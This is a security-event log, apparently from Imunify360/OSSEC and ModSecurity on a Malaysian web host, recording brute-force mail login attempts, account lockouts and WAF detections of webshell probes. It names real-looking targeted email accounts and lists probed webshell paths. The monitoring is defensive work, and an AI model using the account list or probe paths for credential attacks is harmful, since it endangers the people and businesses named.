name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:18:12 dovecot_login authenticator failed for H=(lyZV8sSCe) [178.16.54.22]:60459: 535 Incorrect authentication data (set_id=kywong.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.222.54
country_id: 1269750
description:
2026-01-31 11:18:37 dovecot_login authenticator failed for H=(nsg-corporate-54.222.187.122.airtel.in) [122.187.222.54]:41724: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:18:07 dovecot_login authenticator failed for H=(muVA7R5krG) [158.94.209.22]:50135: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.120.69.143
country_id: 3144096
domain: gagasanteguh.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/admin/upload/css.php||SC:/home2/gagasanteguhcom/public_html/admin/upload||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: jpack.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/jpackcom/public_html/wp-admin||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 11:19:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bkooi@mckd.com.my has been locked for the attacker IP 178.16.54.138


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.197.75.18
country_id: 2077456
domain: inter-link.edu.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/test.php||SC:/home2/interlink/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:19:03 dovecot_login authenticator failed for H=(QaFUBSBOlQ) [178.16.54.22]:50251: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.120.69.143
country_id: 3144096
domain: gagasanteguh.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/wp-login.php||SC:/home2/gagasanteguhcom/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:19:04 dovecot_login authenticator failed for H=(ISHNaDiAoQ) [178.16.54.138]:62278: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.241.122.126
country_id: 6252001
description:
2026-01-31 11:19:38 dovecot_plain authenticator failed for H=([10.27.18.222]) [151.241.122.126]:22702: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 51.120.69.143
country_id: 3144096
domain: gagasanteguh.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home2/gagasanteguhcom/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:19:19 dovecot_login authenticator failed for H=(sWNOCEfV) [158.94.209.22]:64477: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.23.95.14
country_id: 1814991
description:
2026-01-31 11:21:00 dovecot_login authenticator failed for H=([218.23.95.14]) [218.23.95.14]:60804: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:20:02 dovecot_login authenticator failed for H=(RXPmQX9gRh) [178.16.54.22]:53044: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.241.122.126
country_id: 6252001
description:
2026-01-31 11:20:09 dovecot_plain authenticator failed for H=([10.27.18.222]) [151.241.122.126]:23783: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.120.69.143
country_id: 3144096
domain: gagasanteguh.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/about.php||SC:/home2/gagasanteguhcom/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:20:13 dovecot_login authenticator failed for H=(KyH2vl) [158.94.209.22]:54919: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:20:47 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 11:20:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bkooi@mckd.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:20:25 dovecot_login authenticator failed for H=(K1cF7nf) [178.16.54.138]:51338: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:20:31 dovecot_login authenticator failed for H=(BWENuSw) [158.94.209.22]:60181: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:21:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.155.146.33
country_id: 2017370
description:
2026-01-31 11:21:07 dovecot_login authenticator failed for H=(ip-45-155-146-33.ip.asarta.ru) [45.155.146.33]:57750: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:21:07 dovecot_login authenticator failed for H=(7uQjaFt3) [158.94.209.22]:60492: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:21:02 dovecot_login authenticator failed for H=(OGOBwD8rI7) [178.16.54.22]:49485: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 11:21:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bkooi@mckd.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:21:19 dovecot_login authenticator failed for H=(wpYyB4dXT) [178.16.54.138]:56348: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:22:12 dovecot_login authenticator failed for H=(ONTH0cXL) [178.16.54.22]:56328: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 11:22:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bkooi@mckd.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:22:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
country_id: 1814991
description:
2026-01-31 11:22:46 dovecot_login authenticator failed for H=([111.61.177.188]) [111.61.177.188]:33194: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.137.92
country_id: 1835841
domain: vmsmotorsports.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home/vmsadmin/public_html/assets||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-01-31 11:22:10 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:55684: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:22:15 dovecot_login authenticator failed for H=(pkecla) [178.16.54.138]:58205: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:22:19 dovecot_login authenticator failed for H=(vef1pxxFy) [158.94.209.22]:57891: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 11:23:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bkooi@mckd.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:23:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-01-31 11:23:13 dovecot_login authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net [71.62.34.216]:36510: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:23:13 dovecot_login authenticator failed for H=(rrMciNoW) [158.94.209.22]:53124: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:23:27 dovecot_login authenticator failed for H=(RHNKJvAm) [178.16.54.22]:60834: 535 Incorrect authentication data (set_id=kywong.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:23:14 dovecot_login authenticator failed for H=(VAq97gk) [178.16.54.138]:61220: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 31 11:23:41 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account limls@essemgroup.net has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:24:03 dovecot_login authenticator failed for H=(Kx20Gm) [178.16.54.22]:64555: 535 Incorrect authentication data (set_id=kywong.fpp@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 31 11:24:46 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account limls@essemgroup.net has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-01-31 11:24:54 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:57616: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:24:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:24:07 dovecot_login authenticator failed for H=(raIuZh) [158.94.209.22]:56735: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:24:43 dovecot_login authenticator failed for H=(ozVA0hN) [158.94.209.22]:54089: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:25:19 dovecot_login authenticator failed for H=(Z9r1SAU) [158.94.209.22]:55985: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:25:33 dovecot_login authenticator failed for H=(f7zfNq5L) [178.16.54.22]:52856: 535 Incorrect authentication data (set_id=kywong.fpp@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 31 11:25:44 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account limls@essemgroup.net has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:25:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-31 11:25:28 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:35277: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:25:04 dovecot_login authenticator failed for H=(X4BUUHROr) [178.16.54.138]:55081: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:26:08 dovecot_login authenticator failed for H=(okCwAHrJx) [178.16.54.22]:61757: 535 Incorrect authentication data (set_id=kywong.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.42.47.150
country_id: 1835841
description:
2026-01-31 11:26:33 dovecot_login authenticator failed for H=([14.42.47.150]) [14.42.47.150]:31797: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 31 11:26:39 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account limls@essemgroup.net has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.202.106
country_id: 1269750
description:
2026-01-31 11:26:43 dovecot_login authenticator failed for H=(nsg-corporate-121.229.185.122.airtel.in) [122.186.202.106]:39088: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:26:53 dovecot_login authenticator failed for H=(LWLoUU) [178.16.54.138]:59562: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:26:13 dovecot_login authenticator failed for H=(gITEoj) [158.94.209.22]:62180: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.180.72
country_id: 2017370
description:
2026-01-31 11:26:45 dovecot_login authenticator failed for H=a217-29-180-72.pppoe.mark-itt.net [217.29.180.72]:53162: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.48.234
country_id: 1835841
description:
2026-01-31 11:26:55 dovecot_login authenticator failed for H=([125.61.48.234]) [125.61.48.234]:50401: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.168
country_id: 1269750
description:
2026-01-31 11:27:50 dovecot_login authenticator failed for H=(nsg-corporate-168.229.187.122.airtel.in) [122.187.229.168]:37424: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 158.158.35.58
country_id: 2510769
domain: m.solidfence.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/cabecom/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:27:08 dovecot_login authenticator failed for H=(OYq4RvEvJp) [178.16.54.22]:64457: 535 Incorrect authentication data (set_id=kywong.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.208.177.56
country_id: 6252001
description:
2026-01-31 11:27:28 dovecot_login authenticator failed for H=([74.208.177.56]) [74.208.177.56]:33414: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:27:30 dovecot_login authenticator failed for H=(aVXIF2IfMa) [2.58.56.77]:59070: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:27:07 dovecot_login authenticator failed for H=(su5JvwIIG9) [158.94.209.22]:51422: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:27:19 dovecot_login authenticator failed for H=(kV239OSd) [178.16.54.138]:65353: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.233.117.109
country_id: 3469034
description:
2026-01-31 11:27:44 dovecot_login authenticator failed for H=([186.233.117.109]) [186.233.117.109]:42562: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-01-31 11:28:05 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:60519: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.123.109.43
country_id: 732800
description:
2026-01-31 11:28:06 dovecot_login authenticator failed for H=(ADMIN) [93.123.109.43]:54044: 535 Incorrect authentication data (set_id=lowkeesen@nobledec.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.5
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/var/cache/man/pt_PT/index.db||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.226.118
country_id: 1269750
description:
2026-01-31 11:28:39 dovecot_login authenticator failed for H=([182.95.226.118]) [182.95.226.118]:53730: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:28:06 dovecot_login authenticator failed for H=(HkUZbHQYyt) [178.16.54.22]:62391: 535 Incorrect authentication data (set_id=kywong.fpp@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:28:36 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 11:28:10 dovecot_login authenticator failed for H=(lnW3ZOfjFN) [178.16.54.138]:58385: 535 Incorrect authentication data (set_id=bkooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.140.234.114
country_id: 2017370
description:
2026-01-31 11:28:46 dovecot_login authenticator failed for H=([62.140.234.114]) [62.140.234.114]:56759: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.203
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/var/cache/man/pt_BR/index.db||User:root||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:28:56 dovecot_login authenticator failed for H=(UhdJYnq) [158.94.209.22]:54911: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:28:02 dovecot_login authenticator failed for H=(GLonad7cS) [158.94.209.22]:52355: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 158.158.35.58
country_id: 2510769
domain: m.solidfence.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home2/cabecom/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:28:20 dovecot_login authenticator failed for H=(ZX04DJE8) [2.58.56.77]:49534: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.132.164.25
country_id: 2635167
description:
2026-01-31 11:28:36 dovecot_login authenticator failed for H=(ADMIN) [23.132.164.25]:51238: 535 Incorrect authentication data (set_id=rajanazrul@essemgroup.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 175.177.178.1
country_id: 1861060
domain: autogreastar.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:test01.autogreastar.com.my||ServerName:autogreastar.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e71c6710f020493fcedae0122fa4314a2ecd9201||Title:0x1c8c5b6a||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.122.98
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:29:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:29:14 dovecot_login authenticator failed for H=(7BsvLDO7) [158.94.209.22]:58550: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.118
country_id: 1149361
description:
2026-01-31 11:29:47 dovecot_login authenticator failed for H=([149.54.62.118]) [149.54.62.118]:50056: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:29:11 dovecot_login authenticator failed for H=(FIq4p9KJ) [178.16.54.22]:62795: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.195.166.62
country_id: 2017370
description:
2026-01-31 11:29:34 dovecot_login authenticator failed for H=(dynamicip-109-195-166-62.pppoe.ryazan.ertelecom.ru) [109.195.166.62]:60276: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:30:08 dovecot_login authenticator failed for H=(osecXeKi) [2.58.56.77]:53955: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-31 11:30:59 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:65041: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:30:04 dovecot_login authenticator failed for H=(BYkGPZIYXT) [178.16.54.22]:52948: 535 Incorrect authentication data (set_id=kywong.fpp@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:30:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:30:08 dovecot_login authenticator failed for H=(JzONwK) [158.94.209.22]:63113: 535 Incorrect authentication data (set_id=shamini.velayuthan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:31:04 dovecot_login authenticator failed for H=(YBnERZ27) [178.16.54.22]:51748: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:31:23 dovecot_login authenticator failed for H=(ZIAz7ANRY) [2.58.56.77]:50986: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.231
country_id: 1269750
description:
2026-01-31 11:31:02 dovecot_login authenticator failed for H=(nsg-corporate-231.228.187.122.airtel.in) [122.187.228.231]:52992: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:31:02 dovecot_login authenticator failed for H=(zGVcXf9ckq) [158.94.209.22]:58714: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-01-31 11:31:27 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:22733: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-31 11:31:52 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:59405: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.11
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/depmod.d/dist.conf||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.241.150.246
country_id: 2017370
description:
2026-01-31 11:32:03 dovecot_login authenticator failed for H=91-241-150-246-dyn.neotele.com.ru [91.241.150.246]:36238: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
